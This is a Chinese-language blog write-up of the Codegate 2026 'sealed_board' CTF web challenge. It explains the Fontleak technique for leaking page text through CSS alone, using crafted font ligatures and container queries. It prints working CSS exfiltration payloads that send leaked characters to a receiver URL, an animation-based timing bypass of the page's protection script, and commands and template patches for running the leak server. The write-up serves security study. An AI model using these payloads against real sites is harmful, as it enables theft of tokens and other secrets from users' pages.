mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
1829 字
5 分钟
Fontleak:仅通过CSS泄露任意数据
2026-04-01

我已经收集了足够的信息,现在我要开始落盘了

学习到了一种很有意思的XSS技巧,仅通过CSS来泄露任意数据。研究了两天,来分享一下心得。

题目#

Codegate 2026 Quals 出了一道很有意思的 Web 题目:sealed_board。简单介绍场景:

  • xss 但仅可注入 style 标签
  • selenium 无头 Firefox(140.0esr)
  • adminbot 携带 token,页面会出现 #flag 标签

简化一下 adminbot 看到的前端 html:

<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Sealed Board</title>
<link rel="stylesheet" href="/static/css/style.css">
</head>
<body>
<main id="page" class="page">
<article class="hero-card">
<p>"If you want to keep a secret, you must also hide it from yourself."</p>
<p>&mdash; George Orwell, 1984</p>
</article>
<div id="flag" data-protected-flag="1">codegate2026{fake_flag}</div>
</main>
<script src="/static/js/purify.min.js"></script>
<style>
/* 这里可以注入 css 样式 */
</style>
<script src="/static/js/app.js"></script>
</body>
</html>

目标就是泄露 #flag 标签,不过 app.js 还有额外的限制:

(function() {
var p = document.getElementById('page');
if (!p) return;
var getProtectedFlag = function() {
for (var i = 0; i < p.children.length; i += 1) {
var node = p.children[i];
if (
node &&
node.id === 'flag' &&
node.getAttribute('data-protected-flag') === '1'
) {
return node;
}
}
return null;
};
var f = getProtectedFlag();
if (!f) return;
var saved = f.textContent;
f.textContent = '';
f.style.display = 'none';
var check = function() {
f = getProtectedFlag();
if (!f || !f.parentNode) return;
var display = getComputedStyle(f).display;
if (display === 'none') return;
if (display === 'contents') {
f.remove();
return;
}
if (f.checkVisibility()) {
f.remove();
return;
}
if (!f.textContent) f.textContent = saved;
};
setInterval(check, 50);
new MutationObserver(check).observe(p, { childList: true, subtree: true, attributes: true });
})();

这段 js 每隔 50ms 就会检查一次。可以看到,如果 display 不等于 none,会执行 f.remove() 从 DOM 中移除 flag。display: contents 同样也会被移除。不过,当内容为空且隐藏时,又会将 saved 放回。

Fontleak#

暂且不考虑上文提到的check机制,如何仅通过css来泄露#flag呢?Google CSS Leak能找到一项名为 Fontleak 的研究:

就像视频里演示的那样,这项技术甚至可以泄露script标签内的数据,而且只需要简单的一行 <style> @import url('/'); </style>。作者在GitHub提供了完整的工具,那么接下来就结合这篇文章代码来分析一下Fontleak的原理。

Ligatures#

Ligatures 是指 连体字。比如一些字体里,>= 会连体成为 ,又比如fi可能会写作连体。 ligatures

那么Fontleak是如何利用连体来侧信道的呢?其实思路很质朴,通过长度。如果攻击者提供一个特制的字体,控制了任意两个字符连体后那个图形的宽度,那么就可以通过宽度来侧信道泄露数据了。

举个例子,比如我有 CODEGATE,注入css,默认字宽5px,提供一个特殊的连字规则,规定C和A连字的宽度是11pxC和B连字的宽度是12pxC和C连字的宽度是13pxC和O连字的宽度是20px。可以想象,只要我们有一个足够完整的映射表,就能通过整段字符的长度来侧信道泄露每一位字符。

我的示意图很曼妙 我的示意图很曼妙

好了你已经能够操控字体了,但是数据怎么外带呢?

Container Query#

CSS并没有提供一个可以测量文本长度的方法,因为可能导致循环触发。不过CSS提供了容器宽度变化后的回调函数。还是以上方例子为例,比方说我现在确定了C和O,文本长度从40px变成了50px,我们提供这段CSS:

@container leak (width: 41px) {
head::before {
content: url("http://localhost:4242/leak?data=CA");
}
}
@container leak (width: 42px) {
head::before {
content: url("http://localhost:4242/leak?data=CB");
}
}
/* 省略 */
@container leak (width: 50px) {
head::before {
content: url("http://localhost:4242/leak?data=CO");
}
}
/* 这里我们想泄露的是#flag标签 */
#flag::before {
margin: 0 !important;
padding: 0 !important;
font-family: 'fontleak' !important;
font-size: 1000px !important;
white-space: pre-line !important;
content: "\100";
}

很巧妙吧?但实际上会更复杂一些,因为我们需要通过 容器长度 - 初始长度 + 偏移量 来推测真实长度对应的字符,所以并不会是直接写41px、42px这样。不过这都好解决,因为提供什么CSS完全由我们控制。

其实到这里为止,本题就已经能够解了。下面是Fontleak的优化措施。

能够优化吗?#

Chrome 会动态加载@import,先完成加载的外部CSS会立即应用,后加载的外部CSS会随加载完成覆盖应用。也就是说,可以通过精准控制外部CSS提供的延迟,逐步控制字体连字的行为。当前一次连字完成的同时,再次请求下一段特制的字体,这次包含已知前缀,比如CO+A、CO+B、CO+C、CO+D,让字体去碰撞连接,并且回传长度。以此循环,可以动态且快速地泄露数据。

感觉不太好解释,举个例子吧。最开始的@import会包含以下内容:

<script>
/* 这个请求会立刻响应 */
@import url('/?step=0');
/* 这个请求会等待第一位字符泄露后响应 */
@import url('/?step=1');
</script>

每当接收端收到一位泄露的字符,step就进一位。每次的CSS Payload都会包含下一次的@import载荷,但是会等到前一次泄露完成才提供

其实这就是 Sequential Import Chaining。非常像是 Chrome 能做出来的性能优化方式,但也只有 Chrome 能够使用。

那么 Firefox 就无解了嘛?其实也不是。有个邪修方法,通过动画:

/* 还是假设我们要泄露#flag节点 */
#flag::before {
content: "";
/* 这个动画我调过了,实际会通过字符集数量以及每一次leak的时长来动态计算动画周期 */
animation: fontCycle 3.0s steps(1) infinite 0s;
}
@keyframes fontCycle {
0.0% {
content: "\100";
}
1.0% {
content: "\101";
}
2.0% {
content: "\102";
}
/* 省略其他字符 */
97.0% {
content: "\161";
}
98.0% {
content: "\162";
}
99.0% {
content: "\163";
}
}

每一个动画关键帧都去碰撞一位字符,一旦碰撞成功就会立即发生连字,然后外带请求。如果已知字符集,那么关键帧数量就可以大大减少,动画时间也可以略微调小,泄露地就越快。确实相当邪修了。

另外需要注意,Firefox要求所有的@import使用单独的<script>标签。

本题怎么做?#

Fontleak确实是sealed_board的考点,但是出题人真正想考的是他发现的一个Firefox的bug(真的呀,我问过他了): content-visibility does not skip background-image loading (unlike display)

当一个元素不可见时,它就不会被渲染,也就意味着没有数据可以被外带(url不会被请求)。而出题人发现当属性为content-visibility:hidden时,依然尝试加载了外部背景图片。这给外带数据带来了可能。(在这一步卡了很久,动画成功应用了,但无法外带数据)。

另一个需要知道的点是 !important 保留空间的特性。当#page { content-visibility: hidden !important; }时,该元素会隐藏,但依然占据空间,这使得Fontleak的长度测量依然有效。

因此本题的Payload(暂且略过转义)应该是:

/* 这里前面有提到,Firefox要求使用单独的script标签 */
<style>
@import url('http://localhost:4242/');
</style>
<style>
#flag { display: block !important; }
#page { content-visibility: hidden !important; }
</style>

http://localhost:4242/是Fontleak服务的地址,由于原项目的一些bug,只能通过环境变量来设置selector。通过以下命令启动:

# 注意这个转义
SELECTOR=\#flag PARENT=body BASE_URL=http://localhost:4242 uv run uvicorn fontleak.main:app --host 0.0.0.0 --port 4242

不过你大概还是收不到回传的请求,因为#flag并不是body下的根节点,而Fontleak项目没有考虑到这种情况,需要手动修改模板,在templates/dynamic-anim.css.jinja*下面加入:

body *:has({{ leak_selector }}) {
display: contents !important;
}

不能让#flag的父节点page隐藏,否则#flag也将不再可见。

最好再调一下闪烁动画,默认会延迟 1s 执行,但adminbot展示时间有限,改成立即执行,并且略微调快速度:

122c127
< animation: fontCycle {{ idx_max * 0.05 }}s steps(1) infinite 1s;
---
> animation: fontCycle {{ idx_max * 0.03 }}s steps(1) infinite 0s;

然后就能接到泄露出来的字符了。不过实际测试做不到连续泄露,只能用静态的方式,每次泄露一个字符。(其实偶尔能连续泄露,但动画再快就不稳定了)

完整的 Exploit 放在 GitHub 上,这是 Fontleak 的一个 Fork:链接。打开exploit.py,填入正确的靶机地址以及接收端的地址,然后执行:

python exploit.py

exploit

还有别的解法吗?#

有的。如果 50ms 进行一次 check,恰好在检查的那一刻隐藏,然后在不检查的时候显示,并且交换的周期也是 50ms,是不是就可以绕过检测了呢?

<style>
main#page {
font-size: 0 !important;
padding: 0 !important; margin: 0 !important; border: 0 !important;
animation: bypass 50ms infinite !important;
}
@keyframes bypass {
0%, 49% { content-visibility: hidden; }
50%, 100% { content-visibility: visible;}
}
</style>

这个Payload是真的可以的,我在有头Firefox里测试,#flag最多能存活超过12秒,这完全够用了,但是还是受限于Firefox的机制,闪烁成功概率极低,大概20次可能会出一个字符。据说有人用这个原理解出了,那比赛场景那么多人排队,估计得花相当久吧…

分享

如果这篇文章对你有帮助,欢迎分享给更多人!

Fontleak:仅通过CSS泄露任意数据
https://blog.chaomixian.top/posts/fontleak-sealed-board/
作者
炒米线
发布于
2026-04-01
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录